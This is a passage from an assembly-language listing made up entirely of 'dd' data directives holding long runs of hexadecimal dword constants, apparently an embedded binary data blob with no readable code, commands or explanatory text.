1FE580BDh, 1C7C5AD0h dd 0BBD10499h, 7915536h, 30FC7A29h, 977900F9h, 655217F8h dd 0BB15267Ch, 50C8F2DAh, 9C481B68h, 0E1A4845Ch, 8CE204C8h dd 6D753A04h, 0DB626449h, 75428820h, 16CE1E6Fh, 691F804Dh dd 0DF4B65A6h, 50737F32h, 753E30E6h, 44496911h, 8480D888h dd 8EAC7546h, 254939Ah, 0A75FEDE3h, 2C4D923h, 91EC8531h dd 0C881A274h, 884D5FEh, 49CAA11h, 806592B4h, 87BB408Fh dd 2044B4ACh, 3721FF4h, 9AF201D2h, 41547DFDh, 0C834DCh dd 0C5DC3F39h, 6EDCF81h, 0E9BC9B1Ch, 0D0D1BB00h, 51FB6F60h dd 702C00FDh, 5059A9ADh, 87389B85h, 0E93770C2h, 25020812h dd 0DAAEC0FBh, 4C2B0042h, 580F6CEAh, 0CD0F013Dh, 0FCD4C8h dd 858DD2B7h, 16FA0EE9h, 57036A06h, 470E03E8h, 44C35F20h dd 0B2AF7C89h, 211C3095h, 3C35747h, 99283625h, 1990F9E5h dd 0F18504Eh, 0B9270583h, 0C02418D9h, 0FB386C0Bh, 1EBF0F80h dd 0C78950C8h, 0A0141CB5h, 150995FFh, 0B9660CC0h, 32831619h dd 519A10C4h, 0E4C35930h, 224C4689h, 5141001Bh, 393B0CC3h dd 0C1172A19h, 20FBD476h, 8BF315C4h, 0ABFBB000h, 0DC562DD5h dd 39755C6Fh, 0E9663D06h, 990F2B0Ah, 206CACE8h, 0F60E0B10h dd 8B5F0039h, 31BF66C0h, 0BD1B8391h, 81B630B1h, 12880975h dd 74961AE1h, 346D18BAh, 761D3B8h, 49858958h, 9D8D2582h dd 8C80B73Ah, 585BD3FFh, 174122ACh, 2911200Fh, 0CEF90B4h dd 0C909E9F8h, 0B30E003Eh, 929EE75Dh, 90D01528h, 0E5623ACh dd 8944C35Eh, 20166274h, 83C35646h, 89C8C20Eh, 82294C9Dh dd 62BD1081h, 726F00F9h, 840F6165h, 6839D9B1h, 0BB211950h dd 914489C8h, 5040C02Dh, 11008BC3h, 98F8E689h, 0F2165147h dd 6193095h, 0CDBD3174h, 853381A4h, 105081DAh, 0C8FB170Eh dd 0CA324A38h, 0C60C032Eh, 49005985h, 184F6844h, 14FF96A3h dd 301145B5h, 423B1312h, 0D88BD053h, 94D32CB1h, 91436212h dd 0CDE8404Ah, 8371442h dd 0EB410C20h, 47C526F7h, 6610815Bh, 0AAC5DF81h, 0C4CBA520h dd 1F0C8522h, 25F88B87h, 8083A7AAh, 0D283ACD6h, 5DCD4105h dd 0C7083B16h, 251D7985h, 0C3C8A7Fh, 332E7EDEh, 96BCF96Eh dd 0F680FB00h, 1DB589DDh, 0E964C522h, 52334874h, 91C35AC3h dd 15185489h, 15524288h, 0A7409EC3h, 342235D4h, 803EB532h dd 88C62FC1h, 576E1D08h, 5908110Eh, 1BBE2FE9h, 0DB0D138Ah dd 140B000Eh, 0A7AA96BAh, 301C98Ch, 0FB5048C2h, 6491CB0Bh dd 18293BA3h, 528E044Dh, 11EECC53h, 0D0C6599Fh, 0C82DD685h dd 5DC355F4h, 6C8991C3h, 4501AD4Eh, 918AC355h, 0D17F20A4h dd 812804E1h, 3284585h, 2008FEFFh, 8817095Dh, 0E9942A84h dd 60F80075h, 768901E1h, 0BDDC000Ch, 0D8BFB08Fh, 7A010B3Ch dd 0E9D249ECh, 3092111Ch, 0C13B0260h, 0FF41EA8Fh, 618183D1h dd 503E9h, 0F6F1817Fh, 799589B4h, 9220B69h, 3B4F9836h dd 5F9F0068h, 55DA7197h, 66005275h, 314EE7CDh, 993C17CBh dd 1FD4F9ABh, 0A25ED4C8h, 35EF02ACh, 136CA42Ch, 68151E43h dd 0D29C04C0h, 8EBD5500h, 0F08318A6h, 0D8B102AAh, 3F687EEEh dd 0E80AC98Eh, 0E1354089h, 0C90EADBCh, 675F0422h, 0B360FECAh dd 1DDC3631h, 0C1BF9ECFh, 5A40D953h, 4EA526Ah, 0C6978329h dd 0F51826C5h, 0BDD51506h, 3585090Ch, 81F1E90Dh, 639BAB31h dd 6420B139h, 482090C0h, 17FCCB1Fh, 0B6E0A8Ch, 12A16B9Ch dd 8B76435Ah, 7CAEDDBDh, 0A0956CFh, 58BC9D29h, 8C15EC0Bh dd 8B89AC14h, 4B3134CFh, 19C8588Eh, 8905CFC0h, 0E88DE252h dd 14A528BDh, 0CAF38329h, 53319121h, 0C3725B18h, 415C892Eh dd 1534370h, 2FEAAC3h, 0D0F7C780h, 9090567Fh, 0CD59EA09h dd 0C7F2B25Ah, 60164471h, 1ED4B76h, 0DABA6050h, 4765D330h dd 911334C1h, 30016ACDh, 196F811Ch, 0F6002CDh, 80064489h dd 820D29A6h, 4FF98305h, 0D7AD61ACh, 10ADEC41h, 0F3FF6880h dd 13665F20h, 2CD21ABAh, 0E88937C6h, 0AC00A532h, 0B6CD4F7Fh dd 0CF006957h, 0DA2D9145h, 0A059C799h, 80F9B784h, 4DA4800Fh dd 0C424E120h, 52651C4h, 111425E9h, 0D2042C31h, 0E847584Eh dd 0D123C00Dh, 978FDAD3h, 623C6100h, 284ABAE0h, 205098BDh dd 5A31033Dh, 312FD050h, 62129D5h, 30A0BC2h, 0F08A4268h dd 3346AE41h, 301CF2E6h, 1A00C1E6h, 0CCFBAFFh, 1AFC4EA7h dd 737D9529h, 0D2EC891h, 16883D4Bh, 6426C0C0h, 0AB8848BFh dd 72E9090Dh, 91F20121h, 160C051Ah, 94E9CF5Eh, 135F808Fh dd 55A28302h, 583B8D00h, 37BFF599h, 0DBE28B4h, 5C36D48Ah dd 8C18F8h, 2820BA96h, 1960B953h, 0AD036728h, 0F702A929h dd 8812C90Ah, 4A76F1CEh, 8515AF8Fh, 19BDC264h, 106A0009h dd 3C24E680h, 52292D0Fh, 3E554164h, 24A83C8h, 9082508h dd 8E9F36E9h, 0FE861691h, 9522A0E4h, 0F5ACC4B5h, 0C5C8A0Fh dd 77E99D01h, 810F2A50h, 4D95106Fh, 8D890405h, 508A1039h dd 0CE28E858h, 965279A4h, 1B4676E9h, 0BB2D7800h, 9BEFCB69h dd 0BF661705h, 0C524902Ah, 4A98BF37h, 9550925h, 29092B14h dd 912279B5h, 0D7E8A4h, 53036833h, 0B3F489DFh, 23FAC300h dd 4995EE71h, 0CA6B04E9h, 0C148F7ADh, 40D4D03h, 0B5317DD0h dd 0A50F92D1h, 5C032646h, 0F8001D46h, 6CDA9E1Fh, 0A22CE8DFh dd 9509983Ch, 64182975h, 0FECC3906h, 4719903h, 2AF7A6E4h dd 64A11B7h, 25298501h, 0C9AB9936h, 17117697h, 8768D381h dd 247349C6h, 9DC82EF0h, 0C5B5800Ch, 7E21B031h, 40C8F902h dd 4E753C62h, 4CD150ABh, 0F92F992Bh, 46181Dh, 687FAFBEh dd 0A4C69E73h, 39F5F150h, 0B0482B42h, 68401D3Bh, 67E18070h dd 752EA0D5h, 0A31A04DDh, 8E036A07h, 0C718886Ch, 703DC16Bh dd 59C020D2h, 0CDFC2640h, 63AE294Eh, 0BD010400h, 0A8B42281h dd 4D6864F9h, 0F5C687C0h, 0D6108825h, 1155838Ah, 0BA194C08h dd 14658A7Ah, 176018E4h, 2705C633h, 0FFF8832Bh, 4BEDB04h dd 9490AE12h, 716A58h, 4733C637h, 63FC1642h, 4485FF12h dd 94B2714h, 6A351DB5h, 20C041Bh, 3C184C1h, 37870B2Dh dd 4143D07Dh, 7B1EC23Ch, 1000BEFh, 0E17498AFh, 9B77264Dh dd 243B075Bh, 8BE90F5Bh, 7E94410h, 0BAF50BC0h, 379DA8Dh dd 0D0FFD973h, 3810CAB1h, 86581E8Eh, 0FEA1E20Dh, 5FD301Eh dd 0BA406089h, 120361F7h, 940CB18Dh, 9DBE0BB7h, 124766A9h dd 217FD8C4h, 0F71D7AD8h, 12801511h, 0CDB58992h, 60763155h dd 51821D44h, 9FF241Bh, 4D460A0Dh, 19C486A5h, 0D9259B60h dd 0F2E2D114h, 798534AAh, 5328DDF3h, 59FB24C3h, 959D86E8h dd 31942623h, 11211D69h, 68C0801Ch, 0CF970EAh, 0B3A6CB3Ah dd 164C55EEh, 3596999Fh, 2B287965h, 83F181C0h, 1D4A62C9h dd 833A4724h, 8A071A23h, 12C1D225h, 1372B3D7h, 939F3FC9h dd 22801A91h, 110F9B47h, 0C48C8532h, 0CC574A35h, 5C235C3Bh dd 92962C20h, 410BB748h, 80119426h, 811BA58Bh, 65FF6650h dd 0C195151Ah, 0F8010298h, 0CD2058E5h, 8EE256A2h, 0B3C7EF07h dd 0F9680245h, 2B348603h, 1A18621h, 8C8D6507h, 9D28B5FBh dd 3C135310h, 797A16FCh, 497A81Ch, 0A150B673h, 30CFA4FEh dd 41C6842Ch, 16A2419h, 66CB1651h, 3D202290h, 0C2810222h dd 747A6025h, 54568A84h, 215C75A2h, 4216A521h, 9DD96A94h dd 20FDC701h, 0F589812Dh, 3E441916h, 0B99D1431h, 0CBA5F724h dd 0C01DC898h, 0E2BF461h, 9B3FD672h, 0B5A6E264h, 360AD845h dd 143122E9h, 602F18ACh, 1D0220E8h, 88E149h, 0E6B1B0A1h dd 0FFBF0F10h, 0B58B5A09h, 616AA05Dh, 558D3350h, 0E9239065h dd 92313700h, 0E6C739F1h, 5C293E93h, 0B927F480h, 440C9Eh dd 0F5F839A8h, 5EE56CC8h, 0C5D06909h, 684F322Eh, 9396EF02h dd 0BF8B3D4Eh, 7CB9DB2Dh, 0A565EB8Dh, 3E604E42h, 0EA05CEBh dd 88C3C94Ch, 57EA7940h, 0DB0582ADh, 0FCB37F40h, 0BD292920h dd 0F044075h, 80328E48h, 0D91ADA81h, 34C498Ah, 0A76E97h dd 7C0E7143h, 0ECC75A48h, 74E925F8h, 0F2D780DDh, 652489C8h dd 90A79A2Ch, 499D29CEh, 61760A50h, 86A72362h, 0B9F4D103h dd 2A5D850Ch, 0BAB8571Eh, 5F810971h, 0E9C82284h, 0E2E9D562h dd 7DAA0007h, 0DFD97B44h, 12B1F8FFh, 4E5CB58Dh, 0E5E429DFh dd 9A5E880Eh, 527AA94Fh, 4E6ADF00h, 1ADBD0Bh, 0E904CB92h dd 629259E6h, 241DF481h, 81D0EB9Fh, 0B0DEA1EAh, 5170A87Ch dd 0F982D250h, 0F8E42E45h, 0E9F32D8Bh, 9233EDA0h, 123942ABh dd 5BDE29B5h, 3BC18005h, 6507EBB2h, 80544438h, 4D13A069h dd 737D0124h, 4082831Ah, 0A4231502h, 92EAF1F9h, 80CD6240h dd 9EB17A5Ah, 0F943B924h, 0D9C81FD9h, 5F85F5Eh, 0F3CC1911h dd 3018B2F5h, 0F60077F2h, 0BDB9AB80h, 9A66B370h, 83E570CEh dd 0E323D8B1h, 53A493FCh, 12F58E18h, 0E589031Fh, 0EB5043D0h dd 402006B0h, 63861704h, 0FE8A05Bh, 8A117F00h, 0A1530D14h dd 6E840509h, 829030BCh, 0F60D8B9h, 5F58FC1Ah, 0ED122246h dd 224352FAh, 0A17C06E8h, 3EBE4704h, 0C845F80h, 0ED503E0Bh dd 0C66BC040h, 6A278BB2h, 2CCB0460h, 0F8AEE4E5h, 0A902F4F9h dd 0A8F470AFh, 94486350h, 5341C852h, 1BE08900h, 8372A7D0h dd 6C6268D2h, 14465C38h, 0A93C2C34h, 782B8AEh, 563873Bh dd 68AE93C5h, 460B1882h, 20534B9Dh, 34C62E55h, 6483EC00h dd 3D22D845h, 0B86F9A13h dd 5E929625h, 6D031946h, 51E4950Bh, 0BE95309Dh, 2000AC9Ch dd 3AA1322Ah, 9851E7A3h, 890AE690h, 817E88FCh, 65F91330h dd 0E97204C1h, 48C1CA15h, 0F6CA2BAAh, 1920C528h, 1740FC1Dh dd 444B518h, 6421E1AAh, 0E5FA5D82h, 0DC46961Ah, 3D1C3F98h dd 299E832Eh, 0F98F5CC3h, 3B72990Fh, 2EDF0E61h, 118E598Fh dd 5DBA0005h, 3D32AEDDh, 833AA08Ch, 1DDBA9Fh, 1AB5CCB9h dd 0C223E975h, 9D8CE7E5h, 543D5B2Dh, 8A7E2198h, 1D9D7981h dd 0B866000Ch, 6152274Dh, 8802071Ah, 0E9642E21h, 48A262DDh dd 1D806AE9h, 0DBBF29CFh, 5FBA6F03h, 0B01B2D58h, 24A787Ah dd 4D8FD781h, 197113E0h, 80B95CB2h, 0D1C9813Fh, 5066C3C0h dd 92FDBD09h, 34D15A5Bh, 93EE4700h, 0AAEC7B1h, 71642F74h dd 1F2E1280h, 0E0A4C755h, 3F9839ACh, 35E2B175h, 0A0362D00h dd 7CBD2366h, 761E1201h, 0F5FA0CFBh, 594B5F85h, 0C8BA06C0h dd 0C6E2877Ah, 0C6083F0Bh, 20C45C0Bh, 162D0Dh, 0EDBF601Ah dd 1A58A981h, 165E7677h, 4C0F949h, 805D0329h, 89BFFFB7h dd 6C4FE74Dh, 37294523h, 990CC723h, 0F08A7430h, 80F3FC97h dd 3A6B360h, 0BFE7E18Dh, 8A31A469h, 2086C966h, 64CB2675h dd 99E4601h, 0FFE97AB6h, 563BEE94h, 3C058BF8h, 0B2E0B326h dd 5F46808Ch, 0B8F1BDE9h, 5EE394B7h, 4C051746h, 17A8203Ah dd 7E016E8Eh, 9DEFBD02h, 628609E3h, 88149F1Dh, 21FC07DDh dd 817007DDh, 0D8513AF7h, 0E665798h, 84C002A0h, 0E9C9DD80h dd 4ABDF117h, 1ECCD624h, 2972644h, 860FA8B6h, 0E84CFDE4h dd 0CF2480C4h, 0A1CE56h, 669F797Eh, 298D3370h, 96326199h dd 84BB6A3Ch, 28E0C9C9h, 214F4BE9h, 8E05D5FAh, 184C85B9h dd 4F2812Eh, 4EB22154h, 45C8240h, 820AC82Ah, 374B2E5Ah dd 0C968181h, 389AB1FCh, 1302201Ah, 81259529h, 0BC346A08h dd 1207A796h, 0C73B13CBh, 0A13BC1E6h, 0FB30076Fh, 0AD016068h dd 0C3F6DB8Ch, 347B0448h, 4CBC1902h, 526856C0h, 9C47A8B8h dd 0EE046A85h, 64DD46F5h, 85D081BEh, 2D108AAFh, 9B086847h dd 0F3EC18ACh, 0F08B0414h, 684F801Eh, 0F72F2661h, 0E348101h dd 0C1AB3650h, 286A537Dh, 85188556h, 753075C0h, 15986841h dd 2ADB8764h, 0C842D0A6h, 0A4684CC1h, 5A80C9E7h, 42644C20h dd 5B757E88h, 0B4155D94h, 15AC7054h, 4B03C727h, 0C43B092h dd 260FD902h, 205225F5h, 1146998Ah, 0D0026A2Ah, 0B5CA3453h dd 21174A91h, 6845406Dh, 0A520F797h, 9312192h, 0D50267CCh dd 75852E0Ch, 0C0663632h, 0A94EA1D1h, 0A4620C19h, 98463469h dd 75A2F863h, 292A0438h, 122AC5BDh, 0A13D2582h, 35FF6495h dd 0C1FC4843h, 9E732589h, 10C9B710h, 44C82309h, 0A4BEB28Bh dd 501312ADh, 803E2821h, 1708C889h, 8B9297D3h, 0E90B03E2h dd 0F84701D6h, 77601564h, 0DB293369h, 0BC07ACE8h, 0E3B0634Bh dd 1FE41F5h, 86D014EFh, 34D5BD89h, 33585F09h, 1B8F11BBh dd 0E30CC84Bh, 0D3055900h, 69CE2E0Eh, 8A680060h, 5E01BC15h dd 0AC04AA6Dh, 5A62EA80h, 73F81C0h, 8F64160Bh, 0C4E58805h dd 0A3E80427h, 90D64EE3h, 5844E472h, 512EBD40h, 709D4967h dd 0B4801411h, 0FB83D18Ah, 84220EB8h, 0C2810011h, 15919A34h dd 0AEA81EE9h, 4D498D29h, 944F7B16h, 97FA6723h, 0F08F65E6h dd 1924764Ch, 27A481C7h, 83039EFFh, 415B899h, 8BC3A041h dd 550CCE40h, 5D7EA0E8h, 97ED2481h, 838B8A3Eh, 204A281Bh dd 53E93989h, 4F4F5D0Ch, 0C48086DBh, 80364DE6h, 25C1EB1Eh dd 91CD97E5h, 0C426801Ah, 7975B464h, 0D8BA09Bh, 4806BC21h dd 59243E68h, 84E449A6h, 7F001DF2h, 0DC0E11B6h, 793227E7h dd 0DF1F02FCh, 79D5EFE5h, 83A0B74Eh, 9801A89h, 0D0AD55BDh dd 0A238C25Dh, 0F598E680h, 173AC968h, 0E8F2801Ah, 5EC5C0BFh dd 404E9809h, 4B9B906h, 0D704B800h, 5C054855h, 0D002E64h dd 85D465BBh, 401CBA86h, 8C3E34B6h, 0C5FE8EAh, 2FBEEEDh dd 564D5868h, 0AD600A75h, 9A9F1B0Dh, 0E779C56h, 0AE24DF81h dd 95891560h, 0DE9E0D45h, 0D3C1609Fh, 51315018h, 0D27C202Ah dd 0FD00FEDFh, 7D100B82h, 72FFA2h, 2CC5DECBh, 2F43BDC8h dd 0FCDE615Ch, 1004423Dh, 0A18830C1h, 820875Eh, 0D1C9B442h dd 0C1B000EEh, 0CD2D423Ch, 0CA12E3B8h, 0B490046Dh, 0AB47E9C0h dd 1C5B709Eh, 0DC392E31h, 70012B30h, 63007845h, 69747065h dd 73206E6Fh, 14667649h, 0C616D72h, 6C501E70h, 0C4735C65h dd 0F63202Ch, 0F8793D74h, 0F1FB68EAh, 0F166F173h, 9F72F577h dd 761F6412h, 705E6C9Fh, 0CC73BD7Dh, 1D3468BCh, 636C76B3h dd 676E1C26h, 73406763h, 0E354BA2Eh, 0EB6BEB5Eh, 0D975EB79h dd 4BF0D0Ah, 281901D3h, 81738070h, 5254436Eh, 0FED72B4Ch dd 6978CAEBh, 64B63C46h, 8AE9187Ah, 879707Bh, 2F696C8Fh dd 64DAF862h, 636A229h, 84DF5642h, 0FE3DFEA6h, 1E98F325h dd 6B63E843h, 0F4E492Ah, 4F086447h, 50E15455h, 88FE6F72h dd 465B0F1Dh, 0F3410F3Bh, 873DB606h, 6F1E210Fh, 348E502Ah dd 0B1E7718h, 0C4B0EE2Eh, 512012Dh, 0ACB2597Ah, 0B1C3848Dh dd 3A35657h, 0B26995F7h, 3A2642E4h, 30198517h, 75260716h dd 24D75116h, 65AC6761h, 10ED9667h, 34A225CFh, 0B2E9461Ch dd 36231C40h, 0E4851B2h, 44595423h, 593D230Eh, 45230E38h dd 210E3C59h, 0C30524Ch, 0E9801CF5h, 739395A2h, 22DC23BBh dd 0CD0DA295h, 11851012h, 218896B1h, 0B712C24h, 6E4C1CF8h dd 10958D2Fh, 0C1345281h, 0D4C34028h, 0F148603Bh, 0D16606F5h dd 5522400Ch, 139D8B2Ah, 0A4CC32Fh, 11686596h, 0A82750C4h dd 40085479h, 88589087h, 85C7944h, 0DC948A38h, 0AFB4DAFBh dd 0CD056845h, 430C5A26h, 9038213Ch, 6440C844h, 2A303234h dd 622A120Ah, 790621Ch, 145B1DB5h, 2409A7CBh, 2A28406Ah dd 0E35B5A19h, 4C0125BCh, 59EBFA0Ah, 0E9A89B18h, 0A3020B2Dh dd 8C245CADh, 0F6105FA7h, 0C2610C3Dh, 94E63404h, 14601983h dd 15F60208h, 24CC4F68h, 0F8E930C3h, 2EB58B21h, 818E3E63h dd 5BF083E6h, 0E8F22218h, 8127CEF2h, 3B44A1C6h, 398632B5h dd 51E9860Fh, 0D87920ECh, 0CF602273h, 8C66506Fh, 32409C8h dd 1B08C00Ah, 13892C2Ah, 85B988BBh, 934F120h, 0DB0A1886h dd 2C673F08h, 32F6388Bh, 0CFC62404h, 81C1F52Bh, 1DE14108h dd 0DDBB0719h, 70FEDC61h, 1C25C0C7h, 662AA353h, 15FCDB89h dd 535B0209h, 0E84C09CAh, 43513882h, 89BBE008h, 0CBEF8353h dd 1A03E380h, 4B3884C3h, 0C79D7617h, 0E616AD89h, 448B3739h dd 229845E6h, 6AF89C5h, 0AF1C188Fh, 23199A92h, 5BBD9401h dd 84A3C8A2h, 923E8060h, 0BB2031EAh, 0E3AB7A1h, 0B101B076h dd 0ACAE8852h, 2C88A07h, 0D12032C3h, 640BAACBh, 430140D2h dd 22C90A4Ah, 23DEE5D6h, 8011DD1Ah, 0D48B5210h, 0A7AE657h dd 0E9C03308h, 80AA0721h, 0C28D0A3Fh, 0BCA15A5Fh, 0B9565153h dd 64DB2D32h, 0AC7A77h, 81D3D1D8h, 465ABCC3h, 3EB0376Fh dd 970B498Ch, 0C38B88E8h, 5B595E1Dh, 0C57B6014h, 2B1911E9h dd 775A2AEAh, 0E747C020h, 0FA8DF21h, 4A8D81Ah, 93BAD93Ch dd 280B50D3h, 8F2E6056h, 8221346Dh, 687CF64h, 8989C8BDh dd 2F035138h, 408B6898h, 170505FCh, 899B46F3h, 14332124h dd 4659FD3Ch, 3047EC1Eh, 0E9AE10C9h, 0DF69D187h, 72247648h dd 0C7A004Dh, 45CAB2B8h dd 3589A94Eh, 0E43006C0h, 46C801D1h, 820FF73Bh, 28D49F1h dd 289708EAh, 97284CB2h, 51560428h, 4138453h, 980C4A2Ch dd 2D503C67h, 4880AC9h, 13340198h, 0C3C1D832h, 5D1C2108h dd 5B1C4067h, 37A25E59h, 405F9802h, 0E9686D11h, 880C878Ah dd 0AF4431ADh, 90E8437h, 0FF80C8E8h, 38240070h, 0A7BE666Dh dd 0F95C5AB4h, 6850173Fh, 0D6D0B4h, 0C02BDA7Ah, 34FFC88Bh dd 35B103Eh, 8AD4DBEBh, 0F93E795Dh, 4D0F3E8h, 0F35ED3Ah dd 80378980h, 4EE7C354h, 0C0536F89h, 0EEF8C756h, 24C048Fh dd 978CC02Ah, 2485814h, 295AA2A6h, 47D1539Ch, 0DEE71D00h dd 58FE4B09h, 0C85E0FB1h, 83075ED0h, 0BF6604E8h, 0F8815FD0h dd 1E985934h, 0AD9F8515h, 5804C84Bh, 3FB57100h, 9C5DC6B9h dd 63020084h, 64DBDAB1h, 2FE81287h, 2CE17F00h, 60AAEED5h dd 27090091h, 0D8FC4029h, 8F032662h, 8BB210BDh, 0FEF3E8E4h dd 9D6003A4h, 0F2C68D7Dh, 0E7495180h, 62DACF00h, 87FAF23h dd 5D530A2h, 0EDF4A421h, 28973214h, 0CED8E120h, 86004B18h dd 326D1ADh, 76075A4h, 0CFEB4057h, 31AF3028h, 0BA7E625Eh dd 3D7FAA00h, 0DCB57BA0h, 0E487012Ah, 0AC2E24F5h, 0C9C01064h dd 0D58101C3h, 0DDA8DE98h, 3008A0E0h, 0C3B1A106h, 76B84B56h dd 0E1CF89CDh, 26B08542h, 3781E683h, 109FA69Eh, 3D12062Dh dd 0E30921FFh, 83C32382h, 0BB22C426h, 0FD083068h, 239A4121h dd 3C58D0E5h, 0BED68D02h, 2F478h, 69BD94F1h, 80A7E238h dd 99A2A1D8h, 205BA3h, 86C81B4Fh, 1263CF03h, 4162500h dd 0BAF3CEDCh, 0E80B600Fh, 1F522908h, 80F6D0CAh, 5AD200DCh dd 0E31AD7F3h, 0D801C963h, 0D3031CD4h, 0A98FF2E1h, 8580BCA5h dd 0FFAD2279h, 0CF401E60h, 76FB54Bh, 9A02975Fh, 6018FC78h dd 0E739060Fh, 0C88E2009h, 0D03EA564h, 0DC002808h, 6716E730h dd 620674A0h, 0DDD322E8h, 52600059h, 86922510h, 0D4009B15h dd 2B4185C5h, 0C8AAEFE1h, 0C7C034E8h, 46D57FC3h, 1C622C8h dd 2FC3AFA3h, 0D4FD10DFh, 2000D0D5h, 2A4E7E25h, 1680294h dd 8D6AC0Fh, 0FB4FD3DFh, 17C2890Ah, 0B021E479h, 1818C8F1h dd 0F2A0C001h, 0E178042Eh, 0E85178F3h, 0A7AA30B0h, 6206C411h dd 144D3C00h, 0A425FF01h, 0C0C1E802h, 620E6621h, 0B25C7370h dd 580105E0h, 0C440E388h, 0F6244FAFh, 0BB28A385h, 0A5C5F015h dd 0DA25037Bh, 3057AC6Dh, 1AF7823h, 4D37620Bh, 88D9180Ch dd 62121367h, 0DA004292h, 0F66C843Bh, 8564A08Bh, 91730FDh dd 3FF70411h, 0FC1FD4FCh, 27C02824h, 881B33BBh, 0D42C904Fh dd 0E23A429h, 0C7237E05h, 0A462CFC5h, 964520FAh, 2C005823h dd 36DAD8ACh, 277A3E2h, 0A2655D3Eh, 0C47A8BEh, 1B80714Fh dd 0F6C8ABD9h, 0C2F79D02h, 4B13E4D3h, 5E6C0354h, 7E385CF1h dd 85B57AD0h, 0C9C434A5h, 95704D60h, 1006C707h, 3E00376Ch dd 48BAD7F6h, 3424F0DAh, 468C20BCh, 237F0213h, 678089CAh dd 97440730h, 9A132023h, 4A0A0A96h, 0B4202846h, 99029884h dd 3C36CC98h, 26A108E7h, 0E72DE1C0h, 9011F88Ah, 3DCFEECh dd 9C13C9E2h, 0E03ADB7Bh, 0DAA118D4h, 7FA0881h, 0C19259Fh dd 19D2C6D5h, 28278412h, 0C35EA440h, 9822E453h, 12954614h dd 8C0AE73Ah, 0EE444846h, 0E731E540h, 320278B0h, 82F35851h dd 0D33C48C2h, 29EC63D8h, 7900EF3Dh, 24C1A20Fh, 0F233EAEh dd 7A6D6632h, 3C6E5400h, 0F10021CBh, 0DD25294Bh, 589B58A2h dd 0F31D8C1Fh, 18D8EA4Ch, 51047ACFh, 8C988523h, 1674D522h dd 709F5539h, 97330774h, 0D2DA48C7h, 0E14D0238h, 0A8C1525Fh dd 2745C479h, 0A30BEB70h, 143ACA94h, 0FBB41B8h, 34661120h dd 0B1D3AD86h, 724D543Bh, 0FEDFC400h, 8BF0D802h, 40710027h dd 1BCE7816h, 6706E48Ch, 55AFC47Ah, 4605039h, 7897503Dh dd 25CF0296h, 0C76AC847h, 77C380C0h, 0CE118116h, 0B5E1DC40h dd 0F862BB90h, 0D84F0D0Ah, 0E040F324h, 0DB018A0Ch, 0D94D16B6h dd 28A0417Bh, 0D4112C98h, 490764B0h, 63488E23h, 3CD2D71h dd 61758520h, 0BBE0A303h, 6C753689h, 2D4C800h, 0EA69478h dd 7EFE0034h, 69619BD5h, 8C0B1CC7h, 0DC40F9h, 0F2331D10h dd 8ED5038Ah, 7C314F04h, 51BC8935h, 3D29FB81h, 74233181h dd 82C76D71h, 10514D80h, 9DBC874Eh, 0E4B9A5B3h, 0E61FE203h dd 815C1804h, 9700C67Dh, 0F54A2CF8h, 0D1266B0Dh, 9401C969h dd 308A5BF1h, 1EE8B223h, 81386297h, 189FC1AAh, 1729E0FBh dd 423CCE2h, 9ACFAD70h, 1F7518B4h, 81BE1801h, 0AA948C50h dd 29A72101h, 0B8062C03h, 92758040h, 60A1064Fh, 298FE9BDh dd 35112D42h, 1FC622BAh, 8FFA0D32h, 0BFE0469Eh, 856F72E0h dd 4BD2907h, 3B904FDAh, 66FAA1h, 7A1793A8h, 357FD1DFh dd 0CA043800h, 0F0367009h, 0BAF72CD7h, 55720066h, 6D7C33AEh dd 9FC2EF00h, 0ACDFF810h, 5430146Eh, 97A9480h, 0D33A19E0h dd 0C7014280h, 130043D1h, 41CF86B4h, 0F4049FDBh, 0BB4403A4h dd 0DFB1CBE8h, 0A01F3080h, 0FB020F7Ch, 625E2FBAh, 11506805h dd 0AB100348h, 0D498B06Eh, 514BED80h, 7060E298h, 76266C19h dd 9EA73C72h, 8B041781h, 0F04CF0C8h, 0CA006AECh, 84570EB6h dd 2E70CF97h, 27ABF2h, 550C878Dh, 7C01A53Ah, 798C1949h dd 90DBE9ADh, 72033D9h, 0B33F713Eh, 0A608B1B4h, 50E857B5h dd 42962999h, 21568800h, 0F6A1A88Dh, 1B48301Ah, 0FFD39599h dd 58F1ED00h, 683B3CAFh, 9298E7h, 86415071h, 0F9E022B8h dd 0F05A0B14h, 80EA88ACh, 3D546B67h, 220E9CB7h, 0C6BF08h dd 0F56D05A0h, 0B07042Ch, 0C512DD74h, 91E980C6h, 3D001CEDh dd 4DF4ABD6h, 9203B3h, 393AAF44h, 0BDCB8D86h, 0BA785C1Ch dd 8EB51640h, 0F1E82ADh, 15144A54h, 900C55E7h, 24FAE662h dd 0F35E9400h, 5249809Bh, 149F00FCh, 516C48F4h, 1A70B4ABh dd 65E7EF00h, 0B77153BFh, 0A0700BEh, 0F2110387h, 1C004581h dd 82E57B2h, 0B8B07Ah, 0C388AAA7h, 1BEF4250h, 0F401D83Eh dd 0F386BB00h, 9B517CDAh, 0E4CA0692h, 30A83125h, 2EC23D00h dd 25E22A2h, 2783032Ch, 0BB9BB442h, 993D14A8h, 8D880A04h dd 0B8913981h, 1DDCD33Ch, 0F9852EF5h, 0D9A600FAh, 0DAAE5C1Fh dd 82757674h, 5400FE70h, 0F0627564h, 1E8CA4ACh, 0C340EFC5h dd 0FE162DBBh, 2CEE81A0h, 9D5FD03Eh, 8F41CFECh, 0B2E343DCh dd 40997892h, 3A4D6FF4h, 8600DBC4h, 0B31F7F75h, 6946AFh dd 959A44FDh, 3A617B20h, 0D2E8A60Eh, 121FA058h, 78F1C2h dd 0B0CA0A44h, 3783307Bh, 3243CE8h, 0F301C073h, 4FF02DBCh dd 4A0F1028h, 50401220h, 5666CE93h, 0DA868E1Eh, 0E2964C41h dd 44206338h, 2EF894h, 4F8A2907h, 98A2C1FEh, 49676800h dd 9514B91Fh, 0EF5A0293h, 46634008h, 91DD9840h, 0DA8FE400h dd 0F904D46Bh, 3F060BCDh, 9D564D78h, 95A92B01h, 0FCCC3510h dd 2A48C3B6h, 400C4D49h, 808E40FDh, 8FA700B2h, 26AC4219h dd 8D7C738Ch, 0EFFD7000h, 0C00F6762h, 823E001Fh, 1306464Bh dd 0AE0083F0h, 0A13CBB9Fh, 0FE3356h, 5B976BADh, 557CF821h dd 0CF53EE00h, 9C208F8Ch, 267E95h, 0A1516485h, 0FED21641h dd 0EE08E400h, 0E1FBC115h, 5592001Dh, 0C3D19A75h, 1C9C73F1h dd 0F342700h, 0F7E224h, 9BB74E55h, 646D8F21h, 4CFDE500h dd 6144B051h, 0E74900D7h, 0A4147583h, 5A00AE56h, 21460E37h dd 7C6CF0h, 0FCD8629Ch dd 0B03B1DAFh, 0F4776E00h, 